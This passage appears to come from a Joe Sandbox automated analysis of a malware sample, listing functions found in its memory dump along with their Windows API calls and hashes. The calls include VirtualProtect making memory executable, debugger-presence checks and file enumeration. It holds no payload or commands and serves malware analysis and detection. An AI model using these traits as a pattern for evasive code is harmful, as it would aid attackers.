FreeConsole.KERNELBASE ref: 0092158B

Part of subcall function 0092123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 009212C7

VirtualProtect.KERNELBASE(00945011,00000549,00000040,?), ref: 009215D7
ExitProcess.KERNEL32 ref: 0092160E

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: 0b819f056b137603a8b5b2a8025b65289253549b1ee1dc58c1d377895b4e62a4
Instruction ID: 3ca3342c82c23c102e4857a66b1c56a7f97510b9d521dc73c905bbec6fe0947c
Opcode Fuzzy Hash: 0b819f056b137603a8b5b2a8025b65289253549b1ee1dc58c1d377895b4e62a4
Instruction Fuzzy Hash: A3110AB1E00218ABEB00ABA4EC42FBF7768EFD5714F404035F508B7292E5755D1147E1

Function 00935283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093562D: GetConsoleOutputCP.KERNEL32(1206BC9F,00000000,00000000,?), ref: 00935690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0092BBF3,?), ref: 00935408
GetLastError.KERNEL32(?,?,0092BBF3,?,0092BE37,00000000,?,00000000,0092BE37,?,?,?,00944628,0000002C,0092BD23,?), ref: 00935412

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: b57a471e4aeea7f79598fc57647ab955e6e6d0bd351ef9d7b71a73b6cb8bf258
Instruction ID: 059ef46188177dd524ccacbb12a1e4f94b61eee4695c8bb305156791a5096d8f
Opcode Fuzzy Hash: b57a471e4aeea7f79598fc57647ab955e6e6d0bd351ef9d7b71a73b6cb8bf258
Instruction Fuzzy Hash: 9061D1B1C04619AFDF15CFA8C884EEEBBB9AF4D304F160599E900A7216D375DA41CFA0

Function 00935A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,009353EE,00000000,0092BE37,?,00000000,?,00000000), ref: 00935AF8
GetLastError.KERNEL32(?,009353EE,00000000,0092BE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0092BBF3), ref: 00935B1E

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 43033e4946245bd6ca83c7a6ca7bacbf1251f643b80314db364a30f56c608cae
Instruction ID: 8728d54601268af49b8649a0d0d9480233cf637482907b17b39cdb2e7b5fb6fe
Opcode Fuzzy Hash: 43033e4946245bd6ca83c7a6ca7bacbf1251f643b80314db364a30f56c608cae
Instruction Fuzzy Hash: 2B219F34A002199FCB19CF69DD909E9B7F9EF8D301F2541A9E906D7211D630DE42CFA0

Function 0092FF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0092FE78,00944948), ref: 0092FFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0092FE78,00944948), ref: 0092FFE7

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: aa47c9248ed11686edd7704f6831cf21a57fd303f4a64dff3c7822826615cfaa
Instruction ID: 27580b0372fe68e7fc169e882e8c17da221511bf992a650def8771da9a7d13f9
Opcode Fuzzy Hash: aa47c9248ed11686edd7704f6831cf21a57fd303f4a64dff3c7822826615cfaa
Instruction Fuzzy Hash: 161129711087114AC7344E3DADA8722BAACA797330F38072AD1B7C35F5C234D942DA41

Function 0092136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00921388

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 60a60203564a356444a34e7ac04cf8d2420dc18bffcef890af9c9f64810118cc
Instruction ID: 3e2dcaec8ac06b31957892ac6cea65d74d95b0365aa7bffb163d2d78126a1011
Opcode Fuzzy Hash: 60a60203564a356444a34e7ac04cf8d2420dc18bffcef890af9c9f64810118cc
Instruction Fuzzy Hash: 0051BE353042148FC704EF6CD990B6AB7E6EBC8328F198668E95DCB3A6D630ED05CB41

Function 00923C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab3a36871a35553b4f4e1914fc35fc684b99fce6221f976dc3de9a5d0dd9e3ff
Instruction ID: 509eb66e17b210255a8ebf68139aa6007a9b791405f2683c86ae4d576e47d61b
Opcode Fuzzy Hash: ab3a36871a35553b4f4e1914fc35fc684b99fce6221f976dc3de9a5d0dd9e3ff
Instruction Fuzzy Hash: D331B67291012AAFCF04DF69E8809EDB7F8BF09320B148226E941E3294D735FA44CB90

Function 00923C1B Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: cda65b5d69d223980cc9ffcdfdce1cd401a8dbd6e9b6306d991ca73847ea1a66
Instruction ID: 46036eaa580032e2a207b93eda80024736ce266e7e3d6cccd1df2f8de03c441f
Opcode Fuzzy Hash: cda65b5d69d223980cc9ffcdfdce1cd401a8dbd6e9b6306d991ca73847ea1a66
Instruction Fuzzy Hash: 160144367082760ACB05DA78B9667A8BB60EF86334B24C15FD842990CACA1A4A51C310

Function 0092E531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,009231E1,0092186A,?,009260C1,0092186C,0092186A,?,?,?,00923181,009231E1,0092186E,0092186A,0092186A,0092186A), ref: 0092E563

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b3ef9e70b831957a5df4f641bbe13afa4b2a5281fd78261e05a51640b27aa1a8
Instruction ID: fc4360ec49df131a8ec7b53e1a9a9a1797aa6495a0443bdea84e36ead6be7344
Opcode Fuzzy Hash: b3ef9e70b831957a5df4f641bbe13afa4b2a5281fd78261e05a51640b27aa1a8
Instruction Fuzzy Hash: D9E0ED319352306BEF206A6ABC81F9A3B8C9F827B8F140121FC45970DDFB60CD0082A1

Non-executed Functions

Function 00933178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00932B49,00000002,00000000,?,?,?,00932B49,?,00000000), ref: 00933211
GetLocaleInfoW.KERNEL32(?,20001004,00932B49,00000002,00000000,?,?,?,00932B49,?,00000000), ref: 0093323A
GetACP.KERNEL32(?,?,00932B49,?,00000000), ref: 0093324F

Strings

ACP, xrefs: 00933196
OCP, xrefs: 009331CC

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 580559755e1203b597d140b903503896893de723ae48e6b702c3150b2025e1df
Instruction ID: 6d44dbec55c496c58d46e8e02100e0d9673d364b9ec02b06791d8015f1b6bb73
Opcode Fuzzy Hash: 580559755e1203b597d140b903503896893de723ae48e6b702c3150b2025e1df
Instruction Fuzzy Hash: 5E21B036684100AAEB348FA5DC45BA7B3AAEF94F50F66C524E91AD7110E732DF40DB50

Function 00932A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00932B1B
IsValidCodePage.KERNEL32(00000000), ref: 00932B59
IsValidLocale.KERNEL32(?,00000001), ref: 00932B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00932BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00932BCF

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 23da9d00e6029552aa6d899d85afe97637d9ab4c2c8659b0ab454b2de5930cb1
Instruction ID: 417bf149b12e1ef3b017298094b9cc6683fdb5371b6e04867075ea8df5d2a786
Opcode Fuzzy Hash: 23da9d00e6029552aa6d899d85afe97637d9ab4c2c8659b0ab454b2de5930cb1
Instruction Fuzzy Hash: 3F516D71A0021AABDB20DFA4DC45FAEB7BCFF59700F184469E550EB190EBB09A44DF61

Function 0093375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093384A

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 4a83cf956dbf32c45d10f493f2cd78177b68215d80d30d6d3da39033ac4d63d1
Instruction ID: 651e167da827b3fc9eb30a81eed8b395389eaf68c2b38b6bd79ecec8d891141d
Opcode Fuzzy Hash: 4a83cf956dbf32c45d10f493f2cd78177b68215d80d30d6d3da39033ac4d63d1
Instruction Fuzzy Hash: 7A71E5B594516CAFDF20AF38DC9DBAAB7B9AF45300F1481D9E04997211DA354F849F10

Function 00925020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0092502C
IsDebuggerPresent.KERNEL32 ref: 009250F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00925111
UnhandledExceptionFilter.KERNEL32(?), ref: 0092511B

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 29042140781a03f73349fc4888533ebd01070d335c571572a8be689eaafd2050
Instruction ID: 8422a7f47b27418a10ad4de0be9fb985180ab1abc83aff6c823e4b4fe57b835d
Opcode Fuzzy Hash: 29042140781a03f73349fc4888533ebd01070d335c571572a8be689eaafd2050
Instruction Fuzzy Hash: 11310A75D452289BDF20EFA4DD49BCDBBB8AF48304F1041AAE40DAB250EB719B858F45

Function 00932CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00932D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00932D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00932E63

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 3410dc48cca7a2e6f3c79951acdf917b782dabe53f2346df3e84bcf3d6cd6ac5
Instruction ID: ae59943dc6530e20dfdc75fa2944227644b82647991423bafbd548122ada30be
Opcode Fuzzy Hash: 3410dc48cca7a2e6f3c79951acdf917b782dabe53f2346df3e84bcf3d6cd6ac5
Instruction Fuzzy Hash: 5A618E71920217AFDB389F28DC82BAAB7A8FF44300F24417AE915C6185E778DA80DF50

Function 0092B4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,009231E1), ref: 0092B5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,009231E1), ref: 0092B5BB
UnhandledExceptionFilter.KERNEL32(00921542,?,?,?,?,?,009231E1), ref: 0092B5C8

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: dfb7e1951f59c184e43a4fc2f744aa218ba2d81b2127f5385f1eb854c14832f2
Instruction ID: d2d4f39510e3f0a623e399b220c98e5d30e3d76a456be12e773c926a9aa5dc79
Opcode Fuzzy Hash: dfb7e1951f59c184e43a4fc2f744aa218ba2d81b2127f5385f1eb854c14832f2
Instruction Fuzzy Hash: 7431C574951228ABCB21DF68ED89BCCBBB8BF48310F5041EAE41CA7251E7709F858F44

Function 009336A9 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092F807: HeapAlloc.KERNEL32(00000008,?,009231E1,?,0092E921,00000001,00000364,009231E1,00000003,000000FF,?,009260C1,0092186C,0092186A,?,?), ref: 0092F848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093384A
FindNextFileW.KERNEL32(00000000,?), ref: 0093393E
FindClose.KERNEL32(00000000), ref: 0093397D
FindClose.KERNEL32(00000000), ref: 009339B0

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: a0dc558812f2d4b6673a5c1a24e36867fcb0a5e56a703ce1882f6799b8f3600a
Instruction ID: 44a6e611467353300f7cb7ce3a6fa97ccd13fbb0a7e6b7b82736f1cef066c724
Opcode Fuzzy Hash: a0dc558812f2d4b6673a5c1a24e36867fcb0a5e56a703ce1882f6799b8f3600a
Instruction Fuzzy Hash: 1C5157B5940118AFDF149F789CDAEBEB7BDDF85318F1481A9F40A97201EA309E419F60

Function 00932FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00933005

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b650f374b2365af55facd5aec22ee3056b789b4d8f69c0ad49542325fb63a620
Instruction ID: 2e70e65c9816640eb6155208fdc5343f2e85002642587b002464d8b72348fc30
Opcode Fuzzy Hash: b650f374b2365af55facd5aec22ee3056b789b4d8f69c0ad49542325fb63a620
Instruction Fuzzy Hash: 2321B072655216ABEB289B29EC82BBB73ACEF45310F10817AF901D6145EB349E409A90

Function 009330D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

